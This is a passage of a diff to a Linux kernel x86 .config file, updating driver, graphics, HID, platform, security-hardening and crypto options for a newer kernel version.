CONFIG_I2C_ROBOTFUZZ_OSIF is not set # CONFIG_I2C_TAOS_EVM is not set # CONFIG_I2C_TINY_USB is not set @@ -1583,6 +1684,7 @@ CONFIG_I2C_ALGOBIT=y # Other I2C/SMBus bus drivers # # CONFIG_I2C_MLXCPLD is not set +# CONFIG_I2C_VIRTIO is not set # end of I2C Hardware Bus support # CONFIG_I2C_STUB is not set @@ -1604,6 +1706,7 @@ CONFIG_I2C_SLAVE=y # PTP clock support # # CONFIG_PTP_1588_CLOCK is not set +CONFIG_PTP_1588_CLOCK_OPTIONAL=y # # Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. @@ -1617,12 +1720,14 @@ CONFIG_I2C_SLAVE=y CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set +# CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set # CONFIG_CHARGER_ADP5061 is not set # CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set # CONFIG_BATTERY_DS2782 is not set +# CONFIG_BATTERY_SAMSUNG_SDI is not set # CONFIG_BATTERY_SBS is not set # CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set @@ -1630,10 +1735,14 @@ CONFIG_POWER_SUPPLY=y # CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set # CONFIG_CHARGER_LP8727 is not set +# CONFIG_CHARGER_LTC4162L is not set +# CONFIG_CHARGER_MAX77976 is not set # CONFIG_CHARGER_BQ2415X is not set -# CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set +# CONFIG_BATTERY_UG3105 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set @@ -1661,6 +1770,8 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # end of ACPI INT340X thermal drivers # CONFIG_INTEL_PCH_THERMAL is not set +# CONFIG_INTEL_TCC_COOLING is not set +# CONFIG_INTEL_MENLOW is not set # end of Intel thermal drivers # CONFIG_WATCHDOG is not set @@ -1693,6 +1804,7 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_LPC_SCH is not set # CONFIG_MFD_INTEL_LPSS_ACPI is not set # CONFIG_MFD_INTEL_LPSS_PCI is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set # CONFIG_MFD_IQS62X is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set @@ -1707,19 +1819,21 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_MAX8997 is not set # CONFIG_MFD_MAX8998 is not set # CONFIG_MFD_MT6360 is not set +# CONFIG_MFD_MT6370 is not set # CONFIG_MFD_MT6397 is not set # CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set # CONFIG_MFD_RETU is not set # CONFIG_MFD_PCF50633 is not set +# CONFIG_MFD_SY7636A is not set # CONFIG_MFD_RDC321X is not set +# CONFIG_MFD_RT4831 is not set # CONFIG_MFD_RT5033 is not set +# CONFIG_MFD_RT5120 is not set # CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_SEC_CORE is not set # CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set # CONFIG_MFD_SKY81452 is not set -# CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set @@ -1733,7 +1847,6 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_LP873X is not set # CONFIG_MFD_TPS6586X is not set # CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_MFD_TPS80031 is not set # CONFIG_TWL4030_CORE is not set # CONFIG_TWL6040_CORE is not set # CONFIG_MFD_WL1273_CORE is not set @@ -1745,34 +1858,37 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_WM831X_I2C is not set # CONFIG_MFD_WM8350_I2C is not set # CONFIG_MFD_WM8994 is not set +# CONFIG_MFD_ATC260X_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set # CONFIG_RC_CORE is not set + +# +# CEC support +# # CONFIG_MEDIA_CEC_SUPPORT is not set +# end of CEC support + # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # +CONFIG_APERTURE_HELPERS=y # CONFIG_AGP is not set -CONFIG_VGA_ARB=y -CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_VGA_SWITCHEROO is not set CONFIG_DRM=y -# CONFIG_DRM_DP_AUX_CHARDEV is not set # CONFIG_DRM_DEBUG_MM is not set -# CONFIG_DRM_DEBUG_SELFTEST is not set +CONFIG_DRM_USE_DYNAMIC_DEBUG=y CONFIG_DRM_KMS_HELPER=y -CONFIG_DRM_KMS_FB_HELPER=y # CONFIG_DRM_DEBUG_DP_MST_TOPOLOGY_REFS is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set CONFIG_DRM_FBDEV_EMULATION=y CONFIG_DRM_FBDEV_OVERALLOC=100 # CONFIG_DRM_FBDEV_LEAK_PHYS_SMEM is not set # CONFIG_DRM_LOAD_EDID_FIRMWARE is not set -# CONFIG_DRM_DP_CEC is not set CONFIG_DRM_TTM=y -CONFIG_DRM_TTM_DMA_PAGE_POOL=y CONFIG_DRM_VRAM_HELPER=y CONFIG_DRM_TTM_HELPER=y @@ -1802,7 +1918,7 @@ CONFIG_DRM_TTM_HELPER=y CONFIG_DRM_AST=y # CONFIG_DRM_MGAG200 is not set # CONFIG_DRM_QXL is not set -# CONFIG_DRM_BOCHS is not set +# CONFIG_DRM_VIRTIO_GPU is not set CONFIG_DRM_PANEL=y # @@ -1820,11 +1936,16 @@ CONFIG_DRM_PANEL_BRIDGE=y # end of Display Interface Bridges # CONFIG_DRM_ETNAVIV is not set +# CONFIG_DRM_BOCHS is not set # CONFIG_DRM_CIRRUS_QEMU is not set # CONFIG_DRM_GM12U320 is not set +# CONFIG_DRM_SIMPLEDRM is not set # CONFIG_DRM_VBOXVIDEO is not set +# CONFIG_DRM_GUD is not set +# CONFIG_DRM_SSD130X is not set # CONFIG_DRM_LEGACY is not set CONFIG_DRM_PANEL_ORIENTATION_QUIRKS=y +CONFIG_DRM_NOMODESET=y # # Frame buffer Devices @@ -1833,7 +1954,6 @@ CONFIG_FB_CMDLINE=y CONFIG_FB_NOTIFY=y CONFIG_FB=y # CONFIG_FIRMWARE_EDID is not set -CONFIG_FB_BOOT_VESA_SUPPORT=y CONFIG_FB_CFB_FILLRECT=y CONFIG_FB_CFB_COPYAREA=y CONFIG_FB_CFB_IMAGEBLIT=y @@ -1917,6 +2037,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -1942,7 +2063,6 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_A4TECH is not set # CONFIG_HID_ACCUTOUCH is not set # CONFIG_HID_ACRUX is not set -# CONFIG_HID_APPLE is not set # CONFIG_HID_APPLEIR is not set # CONFIG_HID_AUREAL is not set # CONFIG_HID_BELKIN is not set @@ -1969,6 +2089,8 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_UCLOGIC is not set # CONFIG_HID_WALTOP is not set # CONFIG_HID_VIEWSONIC is not set +# CONFIG_HID_VRC2 is not set +# CONFIG_HID_XIAOMI is not set # CONFIG_HID_GYRATION is not set # CONFIG_HID_ICADE is not set # CONFIG_HID_ITE is not set @@ -1977,9 +2099,11 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_KENSINGTON is not set # CONFIG_HID_LCPOWER is not set # CONFIG_HID_LENOVO is not set +# CONFIG_HID_LETSKETCH is not set # CONFIG_HID_MAGICMOUSE is not set # CONFIG_HID_MALTRON is not set # CONFIG_HID_MAYFLASH is not set +# CONFIG_HID_MEGAWORLD_FF is not set # CONFIG_HID_REDRAGON is not set # CONFIG_HID_MICROSOFT is not set # CONFIG_HID_MONTEREY is not set @@ -1992,11 +2116,15 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_PETALYNX is not set # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PLANTRONICS is not set +# CONFIG_HID_PXRC is not set +# CONFIG_HID_RAZER is not set # CONFIG_HID_PRIMAX is not set # CONFIG_HID_RETRODE is not set # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SEMITEK is not set +# CONFIG_HID_SIGMAMICRO is not set # CONFIG_HID_SPEEDLINK is not set # CONFIG_HID_STEAM is not set # CONFIG_HID_STEELSERIES is not set @@ -2006,6 +2134,7 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_SMARTJOYPLUS is not set # CONFIG_HID_TIVO is not set # CONFIG_HID_TOPSEED is not set +# CONFIG_HID_TOPRE is not set # CONFIG_HID_THRUSTMASTER is not set # CONFIG_HID_UDRAW_PS3 is not set # CONFIG_HID_WACOM is not set @@ -2034,7 +2163,7 @@ CONFIG_USB_HID=m # # I2C HID support # -# CONFIG_I2C_HID is not set +# CONFIG_I2C_HID_ACPI is not set # end of I2C HID support # @@ -2042,6 +2171,12 @@ CONFIG_USB_HID=m # # CONFIG_INTEL_ISH_HID is not set # end of Intel ISH HID support + +# +# AMD SFH HID Support +# +# CONFIG_AMD_SFH_HID is not set +# end of AMD SFH HID Support # end of HID support CONFIG_USB_OHCI_LITTLE_ENDIAN=y @@ -2128,7 +2263,7 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set -# CONFIG_USB_CDNS3 is not set +# CONFIG_USB_CDNS_SUPPORT is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set # CONFIG_USB_DWC2 is not set @@ -2181,6 +2316,7 @@ CONFIG_USB_STORAGE=m # CONFIG_TYPEC is not set # CONFIG_USB_ROLE_SWITCH is not set # CONFIG_MMC is not set +# CONFIG_SCSI_UFSHCD is not set # CONFIG_MEMSTICK is not set # CONFIG_NEW_LEDS is not set # CONFIG_ACCESSIBILITY is not set @@ -2249,6 +2385,7 @@ CONFIG_RTC_I2C_AND_SPI=y # CONFIG_RTC_DRV_DS3232 is not set # CONFIG_RTC_DRV_PCF2127 is not set # CONFIG_RTC_DRV_RV3029C2 is not set +# CONFIG_RTC_DRV_RX6110 is not set # # Platform RTC drivers @@ -2277,6 +2414,7 @@ CONFIG_RTC_DRV_CMOS=y # # HID Sensor RTC drivers # +# CONFIG_RTC_DRV_GOLDFISH is not set # CONFIG_DMADEVICES is not set # @@ -2285,8 +2423,10 @@ CONFIG_RTC_DRV_CMOS=y CONFIG_SYNC_FILE=y # CONFIG_SW_SYNC is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options # CONFIG_AUXDISPLAY is not set @@ -2306,13 +2446,67 @@ CONFIG_VHOST_MENU=y # end of Microsoft Hyper-V guest support # CONFIG_GREYBUS is not set +# CONFIG_COMEDI is not set # CONFIG_STAGING is not set -# CONFIG_X86_PLATFORM_DEVICES is not set -CONFIG_PMC_ATOM=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set +# CONFIG_SURFACE_PLATFORMS is not set +CONFIG_X86_PLATFORM_DEVICES=y +# CONFIG_ACPI_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set +# CONFIG_AMD_HSMP is not set +# CONFIG_ADV_SWBUTTON is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_LAPTOP is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_WIRELESS_HOTKEY is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_THINKPAD_ACPI is not set +# CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# +# Intel Uncore Frequency Control +# +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# end of Intel Uncore Frequency Control + +# CONFIG_INTEL_HID_EVENT is not set +# CONFIG_INTEL_VBTN is not set +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set +# CONFIG_INTEL_VSEC is not set +# CONFIG_SAMSUNG_LAPTOP is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_PANASONIC_LAPTOP is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_MLX_PLATFORM is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set +# CONFIG_SIEMENS_SIMATIC_IPC is not set +# CONFIG_WINMATE_FM07_KEYS is not set +# CONFIG_P2SB is not set CONFIG_HAVE_CLK=y -CONFIG_CLKDEV_LOOKUP=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_MAX9485 is not set @@ -2321,6 +2515,7 @@ CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_SI544 is not set # CONFIG_COMMON_CLK_CDCE706 is not set # CONFIG_COMMON_CLK_CS2000_CP is not set +# CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set # @@ -2341,9 +2536,12 @@ CONFIG_IOMMU_SUPPORT=y # # Generic IOMMU Pagetable Support # +CONFIG_IOMMU_IO_PGTABLE=y # end of Generic IOMMU Pagetable Support # CONFIG_IOMMU_DEBUGFS is not set +# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set +CONFIG_IOMMU_DEFAULT_DMA_LAZY=y # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set CONFIG_IOMMU_DMA=y CONFIG_AMD_IOMMU=y @@ -2375,11 +2573,6 @@ CONFIG_AMD_IOMMU_V2=y # # end of Amlogic SoC drivers -# -# Aspeed SoC drivers -# -# end of Aspeed SoC drivers - # # Broadcom SoC drivers # @@ -2390,11 +2583,21 @@ CONFIG_AMD_IOMMU_V2=y # # end of NXP/Freescale QorIQ SoC drivers +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + # # i.MX SoC drivers # # end of i.MX SoC drivers +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + # # Qualcomm SoC drivers # @@ -2405,7 +2608,6 @@ CONFIG_AMD_IOMMU_V2=y # # Xilinx SoC drivers # -# CONFIG_XILINX_VCU is not set # end of Xilinx SoC drivers # end of SOC (System On Chip) specific Drivers @@ -2414,7 +2616,6 @@ CONFIG_AMD_IOMMU_V2=y # CONFIG_MEMORY is not set # CONFIG_IIO is not set # CONFIG_NTB is not set -# CONFIG_VME_BUS is not set # CONFIG_PWM is not set # @@ -2430,7 +2631,14 @@ CONFIG_AMD_IOMMU_V2=y # CONFIG_GENERIC_PHY=y # CONFIG_USB_LGM_PHY is not set +# CONFIG_PHY_CAN_TRANSCEIVER is not set + +# +# PHY drivers for Broadcom platforms +# # CONFIG_BCM_KONA_USB2_PHY is not set +# end of PHY drivers for Broadcom platforms + # CONFIG_PHY_PXA_28NM_HSIC is not set # CONFIG_PHY_PXA_28NM_USB2 is not set # CONFIG_PHY_INTEL_LGM_EMMC is not set @@ -2450,16 +2658,16 @@ CONFIG_GENERIC_PHY=y # # Android # -# CONFIG_ANDROID is not set +# CONFIG_ANDROID_BINDER_IPC is not set # end of Android CONFIG_LIBNVDIMM=y # CONFIG_BLK_DEV_PMEM is not set -# CONFIG_ND_BLK is not set # CONFIG_BTT is not set # CONFIG_DAX is not set CONFIG_NVMEM=y -CONFIG_NVMEM_SYSFS=y +# CONFIG_NVMEM_SYSFS is not set +# CONFIG_NVMEM_RMEM is not set # # HW tracing support @@ -2470,11 +2678,12 @@ CONFIG_NVMEM_SYSFS=y # CONFIG_FPGA is not set # CONFIG_TEE is not set -# CONFIG_UNISYS_VISORBUS is not set # CONFIG_SIOX is not set # CONFIG_SLIMBUS is not set # CONFIG_INTERCONNECT is not set # CONFIG_COUNTER is not set +# CONFIG_PECI is not set +# CONFIG_HTE is not set # end of Device Drivers # @@ -2500,10 +2709,8 @@ CONFIG_FS_MBCACHE=y # CONFIG_BTRFS_FS is not set # CONFIG_NILFS2_FS is not set # CONFIG_F2FS_FS is not set -# CONFIG_FS_DAX is not set # CONFIG_EXPORTFS_BLOCK_OPS is not set CONFIG_FILE_LOCKING=y -CONFIG_MANDATORY_FILE_LOCKING=y # CONFIG_FS_ENCRYPTION is not set # CONFIG_FS_VERITY is not set # CONFIG_DNOTIFY is not set @@ -2542,6 +2749,7 @@ CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" CONFIG_EXFAT_FS=y CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_NTFS_FS is not set +# CONFIG_NTFS3_FS is not set # end of DOS/FAT/EXFAT/NT Filesystems # @@ -2557,6 +2765,7 @@ CONFIG_KERNFS=y CONFIG_SYSFS=y # CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set +CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set # end of Pseudo filesystems @@ -2628,11 +2837,8 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITYFS=y -CONFIG_PAGE_TABLE_ISOLATION=y CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y -CONFIG_HARDENED_USERCOPY_FALLBACK=y -# CONFIG_HARDENED_USERCOPY_PAGESPAN is not set # CONFIG_FORTIFY_SOURCE is not set # CONFIG_STATIC_USERMODEHELPER is not set CONFIG_DEFAULT_SECURITY_DAC=y @@ -2646,9 +2852,17 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization + +CONFIG_RANDSTRUCT_NONE=y +# CONFIG_RANDSTRUCT_FULL is not set +# CONFIG_RANDSTRUCT_PERFORMANCE is not set # end of Kernel hardening options # end of Security options @@ -2680,6 +2894,8 @@ CONFIG_CRYPTO_NULL2=y CONFIG_CRYPTO_CRYPTD=y CONFIG_CRYPTO_AUTHENC=y # CONFIG_CRYPTO_TEST is not set +CONFIG_CRYPTO_SIMD=y +# end of Crypto core or helper # # Public-key cryptography @@ -2687,114 +2903,90 @@ CONFIG_CRYPTO_AUTHENC=y # CONFIG_CRYPTO_RSA is not set # CONFIG_CRYPTO_DH is not set # CONFIG_CRYPTO_ECDH is not set +# CONFIG_CRYPTO_ECDSA is not set # CONFIG_CRYPTO_ECRDSA is not set # CONFIG_CRYPTO_SM2 is not set # CONFIG_CRYPTO_CURVE25519 is not set -# CONFIG_CRYPTO_CURVE25519_X86 is not set +# end of Public-key cryptography # -# Authenticated Encryption with Associated Data +# Block ciphers # -# CONFIG_CRYPTO_CCM is not set -# CONFIG_CRYPTO_GCM is not set -# CONFIG_CRYPTO_CHACHA20POLY1305 is not set -# CONFIG_CRYPTO_AEGIS128 is not set -# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set -# CONFIG_CRYPTO_SEQIV is not set -# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES_TI is not set +# CONFIG_CRYPTO_ARIA is not set +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +# CONFIG_CRYPTO_DES is not set +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_SM4_GENERIC is not set +# CONFIG_CRYPTO_TWOFISH is not set +# end of Block ciphers # -# Block modes +# Length-preserving ciphers and modes # +# CONFIG_CRYPTO_ADIANTUM is not set +# CONFIG_CRYPTO_CHACHA20 is not set CONFIG_CRYPTO_CBC=y # CONFIG_CRYPTO_CFB is not set # CONFIG_CRYPTO_CTR is not set # CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_HCTR2 is not set +# CONFIG_CRYPTO_KEYWRAP is not set # CONFIG_CRYPTO_LRW is not set # CONFIG_CRYPTO_OFB is not set # CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y -# CONFIG_CRYPTO_KEYWRAP is not set -# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set -# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set -# CONFIG_CRYPTO_ADIANTUM is not set -CONFIG_CRYPTO_ESSIV=y +# end of Length-preserving ciphers and modes # -# Hash modes +# AEAD (authenticated encryption with associated data) ciphers # -# CONFIG_CRYPTO_CMAC is not set -CONFIG_CRYPTO_HMAC=y -# CONFIG_CRYPTO_XCBC is not set -# CONFIG_CRYPTO_VMAC is not set +# CONFIG_CRYPTO_AEGIS128 is not set +# CONFIG_CRYPTO_CHACHA20POLY1305 is not set +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +# CONFIG_CRYPTO_SEQIV is not set +# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_ESSIV=y +# end of AEAD (authenticated encryption with associated data) ciphers # -# Digest +# Hashes, digests, and MACs # -CONFIG_CRYPTO_CRC32C=y -CONFIG_CRYPTO_CRC32C_INTEL=y -# CONFIG_CRYPTO_CRC32 is not set -# CONFIG_CRYPTO_CRC32_PCLMUL is not set -# CONFIG_CRYPTO_XXHASH is not set # CONFIG_CRYPTO_BLAKE2B is not set -# CONFIG_CRYPTO_BLAKE2S is not set -# CONFIG_CRYPTO_BLAKE2S_X86 is not set -# CONFIG_CRYPTO_CRCT10DIF is not set +# CONFIG_CRYPTO_CMAC is not set # CONFIG_CRYPTO_GHASH is not set -# CONFIG_CRYPTO_POLY1305 is not set -# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_HMAC=y # CONFIG_CRYPTO_MD4 is not set CONFIG_CRYPTO_MD5=y # CONFIG_CRYPTO_MICHAEL_MIC is not set -# CONFIG_CRYPTO_RMD128 is not set +# CONFIG_CRYPTO_POLY1305 is not set # CONFIG_CRYPTO_RMD160 is not set -# CONFIG_CRYPTO_RMD256 is not set -# CONFIG_CRYPTO_RMD320 is not set CONFIG_CRYPTO_SHA1=y -CONFIG_CRYPTO_SHA1_SSSE3=y -CONFIG_CRYPTO_SHA256_SSSE3=y -CONFIG_CRYPTO_SHA512_SSSE3=y CONFIG_CRYPTO_SHA256=y CONFIG_CRYPTO_SHA512=y # CONFIG_CRYPTO_SHA3 is not set -# CONFIG_CRYPTO_SM3 is not set +# CONFIG_CRYPTO_SM3_GENERIC is not set # CONFIG_CRYPTO_STREEBOG is not set -# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_VMAC is not set # CONFIG_CRYPTO_WP512 is not set -# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +# CONFIG_CRYPTO_XCBC is not set +# CONFIG_CRYPTO_XXHASH is not set +# end of Hashes, digests, and MACs # -# Ciphers +# CRCs (cyclic redundancy checks) # -CONFIG_CRYPTO_AES=y -# CONFIG_CRYPTO_AES_TI is not set -# CONFIG_CRYPTO_AES_NI_INTEL is not set -# CONFIG_CRYPTO_BLOWFISH is not set -# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA is not set -# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set -# CONFIG_CRYPTO_CAST5 is not set -# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAST6 is not set -# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set -# CONFIG_CRYPTO_DES is not set -# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set -# CONFIG_CRYPTO_FCRYPT is not set -# CONFIG_CRYPTO_SALSA20 is not set -# CONFIG_CRYPTO_CHACHA20 is not set -# CONFIG_CRYPTO_CHACHA20_X86_64 is not set -# CONFIG_CRYPTO_SERPENT is not set -# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set -# CONFIG_CRYPTO_SM4 is not set -# CONFIG_CRYPTO_TWOFISH is not set -# CONFIG_CRYPTO_TWOFISH_X86_64 is not set -# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set -# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +CONFIG_CRYPTO_CRC32C=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_CRCT10DIF is not set +# end of CRCs (cyclic redundancy checks) # # Compression @@ -2805,13 +2997,19 @@ CONFIG_CRYPTO_AES=y # CONFIG_CRYPTO_LZ4 is not set # CONFIG_CRYPTO_LZ4HC is not set # CONFIG_CRYPTO_ZSTD is not set +# end of Compression # -# Random Number Generation +# Random number generation # # CONFIG_CRYPTO_ANSI_CPRNG is not set # CONFIG_CRYPTO_DRBG_MENU is not set # CONFIG_CRYPTO_JITTERENTROPY is not set +# end of Random number generation + +# +# Userspace interface +# CONFIG_CRYPTO_USER_API=y CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y @@ -2819,19 +3017,47 @@ CONFIG_CRYPTO_USER_API_RNG=y CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set +# end of Userspace interface + CONFIG_CRYPTO_HASH_INFO=y # -# Crypto library routines +# Accelerated Cryptographic Algorithms for CPU (x86) # -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y +# CONFIG_CRYPTO_CURVE25519_X86 is not set +CONFIG_CRYPTO_AES_NI_INTEL=y +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +# CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CHACHA20_X86_64 is not set +# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set +# 